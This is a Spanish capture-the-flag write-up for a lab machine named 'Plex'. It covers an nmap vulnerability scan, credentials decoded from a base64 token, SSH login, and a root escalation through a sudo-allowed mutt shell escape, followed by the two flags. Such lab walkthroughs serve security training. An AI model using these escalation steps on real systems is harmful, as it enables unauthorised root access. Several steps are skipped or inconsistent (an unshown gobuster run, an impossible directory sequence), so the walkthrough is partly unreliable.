

Comandos para máquina PLEX

Primero de todo, al iniciar la máquina, ya nos dará la dirección ip.

```
      888      888      888 888b      888
      888      888      888 8888b      888
      888      888      888 88888b      888
Y88b  d88P 888 888 888 888Y88b 888 888 888 888 888
Y88b d88P 888 888 888 888 Y88b888 888 888 `Y8bd8P'
  Y88o88P 888 888 888 888 Y88888 888 888 X88K
  Y888P   Y88b 888 888 888 Y8888 Y88b 888 .d8""8b.
  Y8P      "Y88888 888 888 Y888 "Y88888 888 888
                        888
                        Y8b d88P
                        "Y88P"
```

```
VM Name      - Plex
IP Address   - 10.0.22.11
```

```
plex login: _
```

Tiraremos un nmap para encontrar una vulnerabilidad por script.

```
(root@akali)-[/home/allun]
# nmap --script "vuln" 10.0.22.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 18:37 CET
Nmap scan report for 10.0.22.11
Host is up (0.00042s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-libopie:
| - VULNERABLE:
| - OPIE off-by-one stack overflow
| - State: LIKELY VULNERABLE
| - IDs: CVE:CVE-2010-1938  BID:40403
| - Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| - An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote
| - attackers to cause a denial of service or possibly execute arbitrary code
| - via a long username.
| - Disclosure date: 2010-05-27
| - References:
| - http://site.pi3.com.pl/adv/libopie-adv.txt
| - https://www.securityfocus.com/bid/40403
| - http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1938
MAC Address: 08:00:27:9B:CA:2F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 43.52 seconds
```

Probaremos el acceso por ftp, ya que el puerto está abierto, pero al entrar, nos saldrá que no estamos conectados.

```
(root@akali)-[/home/allun]
# ftp 10.0.22.11
Connected to 10.0.22.11.
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u4
ftp> ls
Not connected.
ftp> exit
```

Para probar otra manera, iniciaremos un servicio http por el puerto de la ip.

```
(root@akali)-[/home/allun]
# curl http://10.0.22.11:21
Hello Bro!
You only need a port to be happy ...
```

Una vez tengamos el servicio iniciado, haremos un **gobuster** con los parámetros que se ven a continuación y la librería en cuestión.

- A partir del segundo punto hasta el final es el "form".

Por lo tanto, solo necesitamos la carga del medio para poder descifrar la serie.

```
(root@akali)-[/home/allun/Escritorio/Plex]
# echo "eyJpc3MiOiIiLCJpYXQiOj05bGwsImV4cCI6bnVsbCwiYXVkJoiIiwic3ViIjoiaWiaWQ0iIixIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0" | base64 -d | jq
base64: entrada inválida
{
  "iss": "",
  "iat": null,
  "exp": null,
  "aud": "",
  "sub": "",
  "id": "1",
  "username": "mauro",
  "password": "m@uR0123!"
}
```

El **jq** te lo hace para ponerlo más acorde o "bonito".

Haremos una conexión por ssh con el usuario y la contraseña anterior por el puerto 21 aprovechando que estaba abierto.

```
(root@akali)-[/home/allun/Escritorio/Plex]
# ssh -p21 mauro@10.0.22.11
The authenticity of host '[10.0.22.11]:21 ([10.0.22.11]:21)' can't be established.
ED25519 key fingerprint is SHA256:LaOu+PZMPWLbX3icetuOZ2jXgEY/N1RwrUsqJBfcuTQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.0.22.11]:21' (ED25519) to the list of known hosts.
mauro@10.0.22.11's password:
Permission denied, please try again.
mauro@10.0.22.11's password:
Permission denied, please try again.
mauro@10.0.22.11's password:
mauro@plex:~$ whoami
mauro
```

Una vez dentro, deberemos hacer la escalada de privilegios. Por ello, con el comando **sudo -l** buscaremos la carpeta compartida entre un usuario sin privilegios y el usuario root de la máquina.

```
mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mauro may run the following commands on plex:
    (root) NOPASSWD: /usr/bin/mutt
```

Buscaremos información sobre **mutt**, donde encontraremos que podremos ejecutar el programa como una shell:

```
B
;      Decirle a mutt que la próxima acción se realice sobre
      todos los mensajes marcados (para borrar, salvar, etc).
$      Eliminar inmediatamente los mensajes marcados.
/      Buscar mensajes.
```

```
mauro@plex:~$ sudo -u root /usr/bin/mutt
```

Una vez entremos con el comando anterior, sabiendo que se puede usar como una shell, ejecutamos **! y luego /bin/bash**. De esta manera, podremos entrar a root.

```
—Mutt: (ningún buzón) [Msgs:0]—(threads/date)—
Comando de shell: ! /bin/bash
```

```
-----Mutt: (ningún buzón) [Msgs:0]----- (threads/date)-----  
Comando de shell: /bin/bash
```

```
root@plex:/home/mauro# whoami  
root  
root@plex:/home/mauro#
```

YA SOMOS ROOT

Para la primera flag, en la carpeta /home/mauro encontraremos la flag de usuario.

```
root@plex:/home/mauro# ls  
user.txt  
root@plex:/home/mauro# cat user.txt  
05135a0133cbb692dc66761e5d99364a
```

Para la segunda flag, indagaremos un poco más. La encontraremos en el directorio de root.

```
root@plex:/home/mauro# cd ../app/..  
root@plex:/home# ls  
mauro  
root@plex:/home# cd home/allun/  
root@plex:/# cd root/usr/bin/seclist  
root@plex:~# ls  
Mail root.txt  
root@plex:~# cat root.txt  
943f08fb32181d5f8171332146f39e41  
root@plex:~#
```

```
root@plex:~# cat root.txt  
943f08fb32181d5f8171332146f39e41
```